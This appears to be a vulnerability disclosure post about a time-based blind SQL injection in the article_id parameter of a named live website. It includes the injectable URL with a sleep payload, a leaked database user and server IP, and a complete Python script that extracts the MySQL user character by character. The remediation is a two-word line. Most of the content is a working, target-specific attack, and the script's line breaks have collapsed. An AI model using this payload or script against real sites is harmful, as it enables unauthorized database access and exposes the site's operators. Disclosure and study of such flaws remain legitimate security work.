Mysqlinjection (with verification script)

Mysqlinjection (with verification script)

Mysqlinjection (with verification script)

Injection point:

www.wangjiu.com/ajax/ajaxExec.action?article_id=if(length(user())=20,sleep(5),0)&index=article_browsing_times!update

The articl_id parameter can be injected.

Guess user () and get:

web_w@115.182.92.230

 

Verification script:

#encoding=gbkimport httplibimport timeimport stringimport sysimport randomimport urllibheaders = {    'Referer': 'http://www.wangjiu.com',    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list(string.ascii_lowercase)for i in range(0,10):    payloads.append(str(i))payloads += ['@','_', '.']print 'start to retrive MySQL user:'user = ''for i in range(1,21):    for payload in payloads:        conn = httplib.HTTPConnection('www.wangjiu.com', timeout=60)        url = '/ajax/ajaxExec.action?&index=article_browsing_times!update&article_id='        s = 'if(ascii(mid(user(),%s,1))=%s,sleep(1),0)' % (i, ord(payload))        conn.request(method='GET',                     url=url+urllib.quote(s),                     headers=headers)        start_time = time.time()        html_doc = conn.getresponse().read().decode('utf-8')        if time.time() - start_time > 1.0:            user += payload            print '\n[in progress]', user            break        else:            print '.',print '\nMySQL user is', user

 

Solution:

Filter and convert